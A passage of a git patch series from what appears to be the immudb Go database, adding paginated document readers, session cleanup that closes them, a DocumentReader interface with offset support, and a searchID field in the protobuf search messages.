UpdatePaginatedReaderCount(queryName string, totalDocsRead int) error { +func (s *Session) UpdatePaginatedReader(queryName string, lastPage uint32, lastPageSize uint32, totalDocsRead int) error { s.mux.Lock() defer s.mux.Unlock() @@ -245,7 +245,16 @@ func (s *Session) UpdatePaginatedReaderCount(queryName string, totalDocsRead int if !ok { return ErrPaginatedReaderNotFound } - reader.TotalRead = uint32(totalDocsRead) + + if lastPage > 0 { + reader.LastPageNumber = (lastPage) + } + if lastPageSize > 0 { + reader.LastPageSize = (lastPageSize) + } + if totalDocsRead > 0 { + reader.TotalRead = uint32(totalDocsRead) + } return nil } From 8ee30d6baf850860aecb8174fecdf00b1464b5da Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Fri, 14 Apr 2023 13:59:41 +0530 Subject: [PATCH 0456/1062] chore(pkg/server): close all paginated readers on close of session --- embedded/document/engine.go | 2 +- pkg/server/documents_operations.go | 3 ++- pkg/server/sessions/manager.go | 12 +++++++++- pkg/server/sessions/session.go | 37 +++++++++++++++++++++++++++--- 4 files changed, 48 insertions(+), 6 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 842e204087..c41a99a4c4 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -529,7 +529,7 @@ func (e *Engine) GetDocuments(ctx context.Context, collectionName string, querie nil, ) - // returning an open reader here, so that the caller HAS to close it + // returning an open reader here, so the caller HAS to close it r, err := e.sqlEngine.QueryPreparedStmt(ctx, nil, op, nil) if err != nil { return nil, err diff --git a/pkg/server/documents_operations.go b/pkg/server/documents_operations.go index 38f30fc713..7d2641e766 100644 --- a/pkg/server/documents_operations.go +++ b/pkg/server/documents_operations.go @@ -221,7 +221,8 @@ func (s *ImmuServer) DocumentSearch(ctx context.Context, req *documentschema.Doc if err == sql.ErrNoMoreRows { // end of data reached, remove the paginated reader and pagination parameters from the session - sess.DeletePaginatedReader(queryName) + delErr := sess.DeletePaginatedReader(queryName) + s.Logger.Errorf("error deleting paginated reader: %v", delErr) } return &documentschema.DocumentSearchResponse{ diff --git a/pkg/server/sessions/manager.go b/pkg/server/sessions/manager.go index 7a9e7d03e7..25bd7cccda 100644 --- a/pkg/server/sessions/manager.go +++ b/pkg/server/sessions/manager.go @@ -24,6 +24,7 @@ import ( "sync" "time" + "github.com/codenotary/immudb/embedded/multierr" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/database" @@ -143,7 +144,16 @@ func (sm *manager) deleteSession(sessionID string) error { return ErrSessionNotFound } - err := sess.RollbackTransactions() + merr := multierr.NewMultiErr() + if err := sess.RollbackTransactions(); err != nil { + merr.Append(err) + } + + if err := sess.ClosePaginatedReaders(); err != nil { + merr.Append(err) + } + + err := merr.Reduce() delete(sm.sessions, sessionID) if err != nil { return err diff --git a/pkg/server/sessions/session.go b/pkg/server/sessions/session.go index 41cc63c0b7..76d0360855 100644 --- a/pkg/server/sessions/session.go +++ b/pkg/server/sessions/session.go @@ -97,6 +97,22 @@ func (s *Session) removeTransaction(transactionID string) error { return ErrTransactionNotFound } +func (s *Session) ClosePaginatedReaders() error { + s.mux.Lock() + defer s.mux.Unlock() + + merr := multierr.NewMultiErr() + + for qname := range s.paginatedReaders { + if err := s.DeletePaginatedReader(qname); err != nil { + s.log.Errorf("Error while removing paginated reader: %v", err) + merr.Append(err) + } + } + + return merr.Reduce() +} + func (s *Session) RollbackTransactions() error { s.mux.Lock() defer s.mux.Unlock() @@ -229,11 +245,26 @@ func (s *Session) GetPaginatedReader(queryName string) (*PaginatedReader, error) return reader, nil } -func (s *Session) DeletePaginatedReader(queryName string) { - s.mux.RLock() - defer s.mux.RUnlock() +func (s *Session) DeletePaginatedReader(queryName string) error { + s.mux.Lock() + defer s.mux.Unlock() + + // get the io.Reader object for the specified query name + reader, ok := s.paginatedReaders[queryName] + if !ok { + return ErrPaginatedReaderNotFound + } + + // close the reader + err := reader.Reader.Close() delete(s.paginatedReaders, queryName) + + if err != nil { + return err + } + + return nil } func (s *Session) UpdatePaginatedReader(queryName string, lastPage uint32, lastPageSize uint32, totalDocsRead int) error { From fe3f61229b63db7d9c243d0b459d6c3c435891fc Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Wed, 26 Apr 2023 12:39:02 +0530 Subject: [PATCH 0457/1062] chore: add documentReader iterator to read documents --- embedded/document/engine.go | 27 ++++++++++--- embedded/document/engine_test.go | 52 +++++++++++++------------- pkg/database/document_database.go | 11 ++++-- pkg/database/document_database_test.go | 3 +- pkg/server/db_dummy_closed.go | 3 +- pkg/server/documents_operations.go | 5 ++- pkg/server/sessions/session.go | 9 +++-- 7 files changed, 67 insertions(+), 43 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index c41a99a4c4..43b949834e 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -117,6 +117,11 @@ type IndexOption struct { IsUnique bool } +type DocumentReader interface { + Read(ctx context.Context, count int) ([]*structpb.Struct, error) + Close() error +} + type upsertOptions struct { isInsert bool tx *sql.SQLTx @@ -515,7 +520,7 @@ func (e *Engine) upsertDocument(ctx context.Context, collectionName string, doc return docID, txID, rev, nil } -func (e *Engine) GetDocuments(ctx context.Context, collectionName string, queries []*Query) (sql.RowReader, error) { +func (e *Engine) GetDocuments(ctx context.Context, collectionName string, queries []*Query, offset int64) (DocumentReader, error) { exp, err := e.generateExp(ctx, collectionName, queries) if err != nil { return nil, err @@ -526,7 +531,7 @@ func (e *Engine) GetDocuments(ctx context.Context, collectionName string, querie collectionName, exp, nil, - nil, + sql.NewInteger(offset), ) // returning an open reader here, so the caller HAS to close it @@ -535,7 +540,7 @@ func (e *Engine) GetDocuments(ctx context.Context, collectionName string, querie return nil, err } - return r, nil + return NewDocumentReader(r), nil } func (e *Engine) GetEncodedDocument(ctx context.Context, collectionName string, docID DocumentID, txID uint64) (collectionID uint32, docAudit *EncodedDocAudit, err error) { @@ -927,14 +932,22 @@ func (e *Engine) BulkInsertDocuments(ctx context.Context, collectionName string, return } +func NewDocumentReader(reader sql.RowReader) DocumentReader { + return &documentReader{reader: reader} +} + +type documentReader struct { + reader sql.RowReader +} + // ReadStructMessagesFromReader reads a number of messages from a reader and returns them as a slice of Struct messages. -func ReadStructMessagesFromReader(ctx context.Context, reader sql.RowReader, count int) ([]*structpb.Struct, error) { +func (d *documentReader) Read(ctx context.Context, count int) ([]*structpb.Struct, error) { var err error results := make([]*structpb.Struct, 0) for l := 0; l < count; l++ { var row *sql.Row - row, err = reader.Read(ctx) + row, err = d.reader.Read(ctx) if err == sql.ErrNoMoreRows { break } @@ -955,3 +968,7 @@ func ReadStructMessagesFromReader(ctx context.Context, reader sql.RowReader, cou return results, err } + +func (d *documentReader) Close() error { + return d.reader.Close() +} diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index 749db590d4..cc485759bb 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -200,10 +200,10 @@ func TestGetDocument(t *testing.T) { }, } - reader, err := engine.GetDocuments(ctx, collectionName, expressions) + reader, err := engine.GetDocuments(ctx, collectionName, expressions, 0) require.NoError(t, err) defer reader.Close() - docs, err := ReadStructMessagesFromReader(ctx, reader, 1) + docs, err := reader.Read(ctx, 1) require.NoError(t, err) require.Equal(t, 1, len(docs)) @@ -323,10 +323,10 @@ func TestQueryDocuments(t *testing.T) { }, } - reader, err := engine.GetDocuments(ctx, collectionName, expressions) + reader, err := engine.GetDocuments(ctx, collectionName, expressions, 0) require.NoError(t, err) defer reader.Close() - docs, err := ReadStructMessagesFromReader(ctx, reader, 20) + docs, err := reader.Read(ctx, 20) require.ErrorIs(t, err, sql.ErrNoMoreRows) require.Equal(t, 9, len(docs)) }) @@ -342,10 +342,10 @@ func TestQueryDocuments(t *testing.T) { }, } - reader, err := engine.GetDocuments(ctx, collectionName, expressions) + reader, err := engine.GetDocuments(ctx, collectionName, expressions, 0) require.NoError(t, err) defer reader.Close() - docs, err := ReadStructMessagesFromReader(ctx, reader, 20) + docs, err := reader.Read(ctx, 20) require.ErrorIs(t, err, sql.ErrNoMoreRows) require.Equal(t, 10, len(docs)) }) @@ -361,10 +361,10 @@ func TestQueryDocuments(t *testing.T) { }, } - reader, err := engine.GetDocuments(ctx, collectionName, expressions) + reader, err := engine.GetDocuments(ctx, collectionName, expressions, 0) require.NoError(t, err) defer reader.Close() - docs, err := ReadStructMessagesFromReader(ctx, reader, 20) + docs, err := reader.Read(ctx, 20) require.ErrorIs(t, err, sql.ErrNoMoreRows) require.Equal(t, 9, len(docs)) }) @@ -379,10 +379,10 @@ func TestQueryDocuments(t *testing.T) { }, }, } - reader, err := engine.GetDocuments(ctx, collectionName, expressions) + reader, err := engine.GetDocuments(ctx, collectionName, expressions, 0) require.NoError(t, err) defer reader.Close() - docs, err := ReadStructMessagesFromReader(ctx, reader, 20) + docs, err := reader.Read(ctx, 20) require.ErrorIs(t, err, sql.ErrNoMoreRows) require.Equal(t, 5, len(docs)) }) @@ -398,10 +398,10 @@ func TestQueryDocuments(t *testing.T) { }, } - reader, err := engine.GetDocuments(ctx, collectionName, expressions) + reader, err := engine.GetDocuments(ctx, collectionName, expressions, 0) require.NoError(t, err) defer reader.Close() - docs, err := ReadStructMessagesFromReader(ctx, reader, 20) + docs, err := reader.Read(ctx, 20) require.ErrorIs(t, err, sql.ErrNoMoreRows) require.Equal(t, 1, len(docs)) }) @@ -424,10 +424,10 @@ func TestQueryDocuments(t *testing.T) { }, } - reader, err := engine.GetDocuments(ctx, collectionName, expressions) + reader, err := engine.GetDocuments(ctx, collectionName, expressions, 0) require.NoError(t, err) defer reader.Close() - docs, err := ReadStructMessagesFromReader(ctx, reader, 20) + docs, err := reader.Read(ctx, 20) require.ErrorIs(t, err, sql.ErrNoMoreRows) require.Equal(t, 8, len(docs)) }) @@ -450,10 +450,10 @@ func TestQueryDocuments(t *testing.T) { }, } - reader, err := engine.GetDocuments(ctx, collectionName, expressions) + reader, err := engine.GetDocuments(ctx, collectionName, expressions, 0) require.NoError(t, err) defer reader.Close() - docs, err := ReadStructMessagesFromReader(ctx, reader, 20) + docs, err := reader.Read(ctx, 20) require.ErrorIs(t, err, sql.ErrNoMoreRows) require.Equal(t, 4, len(docs)) }) @@ -476,10 +476,10 @@ func TestQueryDocuments(t *testing.T) { }, } - reader, err := engine.GetDocuments(ctx, collectionName, expressions) + reader, err := engine.GetDocuments(ctx, collectionName, expressions, 0) require.NoError(t, err) defer reader.Close() - docs, err := ReadStructMessagesFromReader(ctx, reader, 20) + docs, err := reader.Read(ctx, 20) require.ErrorIs(t, err, sql.ErrNoMoreRows) require.Equal(t, 3, len(docs)) }) @@ -534,11 +534,11 @@ func TestDocumentUpdate(t *testing.T) { require.NotEqual(t, rev, 0) // Verify that the document was updated - reader, err := e.GetDocuments(ctx, collectionName, queries) + reader, err := e.GetDocuments(ctx, collectionName, queries, 0) require.NoError(t, err) defer reader.Close() - updatedDocs, err := ReadStructMessagesFromReader(ctx, reader, 1) + updatedDocs, err := reader.Read(ctx, 1) require.NoError(t, err) updatedDoc := updatedDocs[0] @@ -633,10 +633,10 @@ func TestFloatSupport(t *testing.T) { } // check if document is updated - reader, err := engine.GetDocuments(ctx, collectionName, expressions) + reader, err := engine.GetDocuments(ctx, collectionName, expressions, 0) require.NoError(t, err) defer reader.Close() - docs, err := ReadStructMessagesFromReader(ctx, reader, 1) + docs, err := reader.Read(ctx, 1) require.NoError(t, err) require.Equal(t, 1, len(docs)) @@ -886,11 +886,11 @@ func TestBulkInsert(t *testing.T) { }, } - reader, err := engine.GetDocuments(ctx, collectionName, expressions) + reader, err := engine.GetDocuments(ctx, collectionName, expressions, 0) require.NoError(t, err) defer reader.Close() - docs, _ = ReadStructMessagesFromReader(ctx, reader, 10) + docs, _ = reader.Read(ctx, 10) require.Equal(t, 10, len(docs)) for i, doc := range docs { @@ -948,14 +948,14 @@ func TestPaginationOnReader(t *testing.T) { }, } - reader, err := engine.GetDocuments(ctx, collectionName, expressions) + reader, err := engine.GetDocuments(ctx, collectionName, expressions, 0) require.NoError(t, err) defer reader.Close() results := make([]*structpb.Struct, 0) // use the reader to read paginated documents 5 at a time for i := 0; i < 4; i++ { - docs, _ := ReadStructMessagesFromReader(ctx, reader, 5) + docs, _ := reader.Read(ctx, 5) require.Equal(t, 5, len(docs)) results = append(results, docs...) } diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index c4a308d2cc..b767964aaa 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -49,7 +49,7 @@ type DocumentDatabase interface { // InsertDocument creates a new document InsertDocument(ctx context.Context, req *schemav2.DocumentInsertRequest) (*schemav2.DocumentInsertResponse, error) // SearchDocuments queries the document - SearchDocuments(ctx context.Context, req *schemav2.DocumentSearchRequest) (sql.RowReader, error) + SearchDocuments(ctx context.Context, req *schemav2.DocumentSearchRequest) (document.DocumentReader, error) // DocumentAudit returns the document audit history DocumentAudit(ctx context.Context, req *schemav2.DocumentAuditRequest) (*schemav2.DocumentAuditResponse, error) // UpdateDocument updates a document @@ -124,7 +124,7 @@ func (d *db) getCollection(ctx context.Context, collectionName string) (*schemav } // SearchDocuments returns the documents matching the search request constraints -func (d *db) SearchDocuments(ctx context.Context, req *schemav2.DocumentSearchRequest) (sql.RowReader, error) { +func (d *db) SearchDocuments(ctx context.Context, req *schemav2.DocumentSearchRequest) (document.DocumentReader, error) { queries := make([]*document.Query, 0, len(req.Query)) for _, q := range req.Query { queries = append(queries, &document.Query{ @@ -137,7 +137,12 @@ func (d *db) SearchDocuments(ctx context.Context, req *schemav2.DocumentSearchRe return nil, fmt.Errorf("invalid offset or limit") } - reader, err := d.documentEngine.GetDocuments(ctx, req.Collection, queries) + offset := (req.Page - 1) * req.PerPage + if offset < 0 { + return nil, fmt.Errorf("invalid offset") + } + + reader, err := d.documentEngine.GetDocuments(ctx, req.Collection, queries, int64(offset)) if err != nil { return nil, err } diff --git a/pkg/database/document_database_test.go b/pkg/database/document_database_test.go index 2e6de86358..0b2b953269 100644 --- a/pkg/database/document_database_test.go +++ b/pkg/database/document_database_test.go @@ -20,7 +20,6 @@ import ( "os" "testing" - "github.com/codenotary/immudb/embedded/document" schemav2 "github.com/codenotary/immudb/pkg/api/documentschema" "github.com/codenotary/immudb/pkg/logger" "github.com/codenotary/immudb/pkg/verification" @@ -109,7 +108,7 @@ func TestDocumentDB_Collection(t *testing.T) { }) require.NoError(t, err) defer reader.Close() - docs, err := document.ReadStructMessagesFromReader(ctx, reader, 1) + docs, err := reader.Read(ctx, 1) require.NoError(t, err) require.Equal(t, 1, len(docs)) diff --git a/pkg/server/db_dummy_closed.go b/pkg/server/db_dummy_closed.go index 49ee1f7efd..f341f7f3b8 100644 --- a/pkg/server/db_dummy_closed.go +++ b/pkg/server/db_dummy_closed.go @@ -22,6 +22,7 @@ import ( "path/filepath" "time" + "github.com/codenotary/immudb/embedded/document" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/embedded/store" schemav2 "github.com/codenotary/immudb/pkg/api/documentschema" @@ -256,7 +257,7 @@ func (d *closedDB) CreateCollection(ctx context.Context, req *schemav2.Collectio } // SearchDocuments returns the document -func (d *closedDB) SearchDocuments(ctx context.Context, req *schemav2.DocumentSearchRequest) (sql.RowReader, error) { +func (d *closedDB) SearchDocuments(ctx context.Context, req *schemav2.DocumentSearchRequest) (document.DocumentReader, error) { return nil, store.ErrAlreadyClosed } diff --git a/pkg/server/documents_operations.go b/pkg/server/documents_operations.go index 7d2641e766..55899d0dd7 100644 --- a/pkg/server/documents_operations.go +++ b/pkg/server/documents_operations.go @@ -185,7 +185,7 @@ func (s *ImmuServer) DocumentSearch(ctx context.Context, req *documentschema.Doc queryName := generateQueryName(req) // check if the paginated reader for this query has already been created - var resultReader sql.RowReader + var resultReader document.DocumentReader var pgreader *sessions.PaginatedReader pgreader, err = sess.GetPaginatedReader(queryName) @@ -211,7 +211,7 @@ func (s *ImmuServer) DocumentSearch(ctx context.Context, req *documentschema.Doc } // read the next page of data from the paginated reader - results, err := document.ReadStructMessagesFromReader(ctx, resultReader, int(req.PerPage)) + results, err := resultReader.Read(ctx, int(req.PerPage)) if err != nil && err != sql.ErrNoMoreRows { return nil, err } @@ -246,6 +246,7 @@ func (s *ImmuServer) DocumentInsertMany(ctx context.Context, req *documentschema if err != nil { return nil, err } + resp, err := db.DocumentInsertMany(ctx, req) if err != nil { return nil, err diff --git a/pkg/server/sessions/session.go b/pkg/server/sessions/session.go index 76d0360855..4e440c3ea6 100644 --- a/pkg/server/sessions/session.go +++ b/pkg/server/sessions/session.go @@ -21,6 +21,7 @@ import ( "sync" "time" + "github.com/codenotary/immudb/embedded/document" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/embedded/multierr" @@ -37,10 +38,10 @@ var ( ) type PaginatedReader struct { - LastPageNumber uint32 // last read page number - LastPageSize uint32 // number of items per page - TotalRead uint32 // total number of items read - Reader sql.RowReader // reader to read from + LastPageNumber uint32 // last read page number + LastPageSize uint32 // number of items per page + TotalRead uint32 // total number of items read + Reader document.DocumentReader // reader to read from } type Session struct { From 165b19d5b3abb901fe27505e097a798782ad7c94 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Wed, 26 Apr 2023 13:10:41 +0530 Subject: [PATCH 0458/1062] chore: add unique search id for paginated readers --- pkg/api/documentschema/docs.md | 2 + pkg/api/documentschema/documentschema.pb.go | 574 +++++++++--------- pkg/api/documentschema/documentschema.proto | 2 + .../documentschema.swagger.json | 6 + pkg/server/documents_operations.go | 32 +- pkg/server/documents_operations_test.go | 155 ++++- pkg/server/sessions/session.go | 4 + 7 files changed, 461 insertions(+), 314 deletions(-) diff --git a/pkg/api/documentschema/docs.md b/pkg/api/documentschema/docs.md index 867c4ce3a8..ef5df84f55 100644 --- a/pkg/api/documentschema/docs.md +++ b/pkg/api/documentschema/docs.md @@ -437,6 +437,7 @@ | query | [DocumentQuery](#immudb.documentschema.DocumentQuery) | repeated | | | page | [uint32](#uint32) | | | | perPage | [uint32](#uint32) | | | +| searchID | [string](#string) | | | @@ -452,6 +453,7 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | results | [google.protobuf.Struct](#google.protobuf.Struct) | repeated | | +| searchID | [string](#string) | | | diff --git a/pkg/api/documentschema/documentschema.pb.go b/pkg/api/documentschema/documentschema.pb.go index 022f5626ff..47de8360c2 100644 --- a/pkg/api/documentschema/documentschema.pb.go +++ b/pkg/api/documentschema/documentschema.pb.go @@ -558,6 +558,7 @@ type DocumentSearchRequest struct { Query []*DocumentQuery `protobuf:"bytes,2,rep,name=query,proto3" json:"query,omitempty"` Page uint32 `protobuf:"varint,3,opt,name=page,proto3" json:"page,omitempty"` PerPage uint32 `protobuf:"varint,4,opt,name=perPage,proto3" json:"perPage,omitempty"` + SearchID string `protobuf:"bytes,5,opt,name=searchID,proto3" json:"searchID,omitempty"` } func (x *DocumentSearchRequest) Reset() { @@ -620,12 +621,20 @@ func (x *DocumentSearchRequest) GetPerPage() uint32 { return 0 } +func (x *DocumentSearchRequest) GetSearchID() string { + if x != nil { + return x.SearchID + } + return "" +} + type DocumentSearchResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Results []*structpb.Struct `protobuf:"bytes,1,rep,name=results,proto3" json:"results,omitempty"` + Results []*structpb.Struct `protobuf:"bytes,1,rep,name=results,proto3" json:"results,omitempty"` + SearchID string `protobuf:"bytes,2,opt,name=searchID,proto3" json:"searchID,omitempty"` } func (x *DocumentSearchResponse) Reset() { @@ -667,6 +676,13 @@ func (x *DocumentSearchResponse) GetResults() []*structpb.Struct { return nil } +func (x *DocumentSearchResponse) GetSearchID() string { + if x != nil { + return x.SearchID + } + return "" +} + type DocumentProofRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -1750,7 +1766,7 @@ var file_documentschema_proto_rawDesc = []byte{ 0x74, 0x6f, 0x72, 0x12, 0x2c, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x22, 0xa1, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, + 0x65, 0x22, 0xbd, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x3a, 0x0a, 0x05, 0x71, @@ -1760,292 +1776,296 @@ var file_documentschema_proto_rawDesc = []byte{ 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, - 0x72, 0x50, 0x61, 0x67, 0x65, 0x22, 0x4b, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, - 0x31, 0x0a, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, - 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, - 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, - 0x74, 0x73, 0x22, 0xb6, 0x01, 0x0a, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, - 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x74, - 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, - 0x64, 0x12, 0x38, 0x0a, 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, - 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x04, 0x20, 0x01, - 0x28, 0x04, 0x52, 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x72, - 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x22, 0xc4, 0x01, 0x0a, 0x15, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, - 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x28, 0x0a, 0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0f, - 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, - 0x41, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, - 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, - 0x54, 0x78, 0x56, 0x32, 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, - 0x54, 0x78, 0x22, 0x84, 0x01, 0x0a, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, - 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x70, - 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, - 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, - 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x22, 0x57, 0x0a, 0x15, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x12, 0x3e, 0x0a, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x18, 0x01, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, - 0x74, 0x73, 0x22, 0x86, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, - 0x75, 0x64, 0x69, 0x74, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, - 0x6e, 